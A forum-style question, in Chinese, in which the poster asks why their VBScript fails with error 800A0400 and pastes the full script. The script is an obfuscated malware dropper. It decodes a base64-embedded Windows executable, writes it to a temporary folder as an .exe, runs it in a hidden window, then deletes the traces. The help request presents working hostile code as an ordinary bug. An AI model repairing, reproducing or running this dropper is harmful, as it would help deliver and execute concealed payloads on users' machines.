我的 VB 脚本在第 1 行字符 1 处给出错误 800A0400 'statement expected'

Question

我已经交叉检查了代码中是否有任何缺失的语句或字符，但我找不到任何错误

这是代码：

Function xWdvCOoMI(EXBJfIOT)
tsHryoTGZReENk = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-microsoft-com:datatypes" & Chr(34) & " " & _
    "dt:dt=" & Chr(34) & "bin.base64" & Chr(34) & ">" & _
    EXBJfIOT & "</B64DECODE>"
Set KMtPkebPUWk = CreateObject("MSXML2.DOMDocument.3.0")
KMtPkebPUWk.LoadXML(tsHryoTGZReENk)
xWdvCOoMI = KMtPkebPUWk.selectsinglenode("B64DECODE").nodeTypedValue
set KMtPkebPUWk = nothing
End Function

Function qXwbdydm()
RHRaCpTshU = "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"
      Dim JUTFIxGVZ
        Set JUTFIxGVZ = CreateObject("Scripting.FileSystemObject")
    Dim NVbaquaV
    Dim KzcxbQfnfXCtdSv
   Set NVbaquaV = JUTFIxGVZ.GetSpecialFolder(2)
    KzcxbQfnfXCtdSv = NVbaquaV & "\" & JUTFIxGVZ.GetTempName()
    JUTFIxGVZ.CreateFolder(KzcxbQfnfXCtdSv)
    idWbAlFUxIDtY = KzcxbQfnfXCtdSv & "\" & "MiHcTtihAkb.exe"
   Dim idwMRxzfAWlhul
  Set idwMRxzfAWlhul = CreateObject("Wscript.Shell")
  TZFKexCXzToFT = xWdvCOoMI(RHRaCpTshU)
  Set KfDmtdyijheD = CreateObject("ADODB.Stream")
  KfDmtdyijheD.Type = 1
  KfDmtdyijheD.Open
  KfDmtdyijheD.Write TZFKexCXzToFT
  KfDmtdyijheD.SaveToFile idWbAlFUxIDtY, 2
  idwMRxzfAWlhul.run idWbAlFUxIDtY, 0, true
  JUTFIxGVZ.DeleteFile(idWbAlFUxIDtY)
  JUTFIxGVZ.DeleteFolder(KzcxbQfnfXCtdSv)
  End Function

  qXwbdydm

我已经尝试了所有方法，但仍然显示相同的错误